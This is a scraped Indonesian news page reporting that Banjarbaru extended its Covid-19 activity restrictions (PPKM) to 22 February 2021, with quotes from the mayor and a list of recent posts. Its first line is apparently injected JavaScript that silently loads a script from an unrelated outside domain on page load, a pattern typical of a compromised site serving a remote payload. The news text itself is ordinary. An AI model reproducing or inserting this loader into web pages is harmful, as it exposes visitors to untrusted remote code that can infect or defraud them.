(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

PPKM di Banjarbaru Diperpanjang Hingga 22 Februari


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) memperpanjang masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) upaya menekan laju penyebaran Covid-19. Keputusan ini ditetapkan dalam rapat evaluasi yang digelarbdi Balai Kota Banjarbaru, Selasa (9/2/2021).

Wali Kota Banjarbaru, Darmawan Jaya Setiawan, mengungkapkan awalnya PPKM hanya diterapkan dari tanggal 1 sampai 8 Februari. Namun, berdasarkan pertimbangan bersama seluruh SKPD, Pemko Banjarbaru memutuskan memperpanjang PPKM hingga dua pekan ke depan.

“Penerapan PPKM kita perpanjang sampai tanggal 22 Februari. Ini setelah kita melakukan pertimbangan dari hasil evaluasi penerapan PPKM seminggu tadi,” kata Jaya -biasa disapa-.

Menurut Jaya, penerapan PPKM selama sepekan terakhir menunjukan hasil yang sangat bermanfaat untuk meningkatkan protokol kesehatan bagi masyarakat Banjarbaru. Hal itu dibuktikan dengan razia skala besar yang diakukan Satgas Covid-19 Banjarbaru bersama TNI Polri.

 

“Sebagian besar pelaku usaha menyambut baik dengan adanya giat ini. Mereka merasa terbantu untuk menegur para pengunjung atau konsumen mereka untuk tetap mentaati protokol kesehatan dengan adanya kehadiran para petugas melalui operasi-operasi yang dilakukan,” bebernya.

Selain itu, ujar Jaya, evaluasi dari razia yang dilakukan petugas gabungan menemukan fakta ihwal kondisi di lapangan. Salah satunya, banyak masyrakat di antaranya para remaja yang masih berada di luar rumah di atas jam 10 malam.

“Kami berharap dengan diadakannya PPKM ini para remaja yang masih suka keluar rumah lewat tengah malam memikirkan lebih baik berada di rumah saja, karena dapat meningkatkan kemungkinan hal-hal negatif untuk dirinya sendiri,” sebutnya.

Sebagaimana diketahui, penerapan PPKM di Banjarbaru mengatur adanya batasan jam operasional di seluruh tempat hiburan, tempat berbelanja, area publik, hingga tempat makan dan restoran. Yakni, seluruh tempat itu diwajibkan tutup pada pukul 22.00 Wita. (kanalkalimantan.com/rico)

Reporter: rico
Editor : bie


Al Ghifari

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.